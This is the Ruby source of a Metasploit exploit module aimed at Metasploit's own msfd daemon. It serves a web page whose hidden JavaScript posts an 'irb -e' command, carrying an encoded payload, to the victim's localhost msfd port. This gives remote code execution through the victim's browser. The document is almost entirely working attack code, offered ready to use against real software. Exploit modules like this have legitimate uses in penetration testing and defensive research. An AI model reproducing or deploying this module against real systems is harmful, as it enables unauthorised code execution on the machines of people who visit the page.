### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##classMetasploitModule< Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTMLdefinitialize(info ={})super(update_info(info,'Name'=>'Metasploit msfd Remote Code Execution via Browser','Description'=>%q{
Metasploit's msfd-service makes it possible to get a msfconsole-like
interface over a TCP socket. This module connects to the msfd-socket
through the victim's browser.
To execute msfconsole-commands in JavaScript from a web application,
this module places the payload in the POST-data. These POST-requests
can be sent cross-domain and can therefore be sent to localhost on the
victim's machine. The msfconsole-command to execute code is 'rbi -e
"CODE"'.
Exploitation when the browser is running on Windows is unreliable and
the exploit is only usable when IE is used and the quiet-flag has been
passed to msf-daemon.
},'License'=>BSD_LICENSE,'Author'=>'Robin Stenvi <robin.stenvi[at]gmail.com>','Platform'=>'ruby','Arch'=>ARCH_RUBY,'Targets'=>[['Automatic',{}],],'Payload'=>{'Space'=>8192,# Arbitrary limit'DisableNops'=>'True','BadChars'=>"\x22\x0a"},'DisclosureDate'=>'Apr 11 2018',# Vendor notification'DefaultTarget'=>0))
register_options([OptString.new('REMOTE_IP',[true,'Remote IP address when called from victim','127.0.0.1']),OptString.new('REMOTE_PORT',[true,'Remote port the service is running at','55554'])])enddefexploitsuperenddefon_request_uri(cli, request)
msg ="#{cli.peerhost.ljust(16)}#{self.shortname}"
sc = payload.encoded
shellcode ="\\x"+ sc.unpack('U'*sc.length).collect {|x| x.to_s 16}.join("\\x")
var1 = rand_text_alpha(rand(6..11))
var2 = rand_text_alpha(rand(6..11))
html =<<-EOS
<html>
<head></head>
<body>
<script>
var #{var1} = new XMLHttpRequest();
#{var1}.open("POST","http://#{datastore['REMOTE_IP']}:#{datastore['REMOTE_PORT']}/", true);
var #{var2} = String("#{shellcode}");
#{var1}.send("irb -e \\"" + #{var2} + "\\"\\n");
</script>
</body>
</html>
EOS
print_status("#{msg} Sending HTML...")
send_response(cli, html,{'Content-Type'=>'text/html'})endend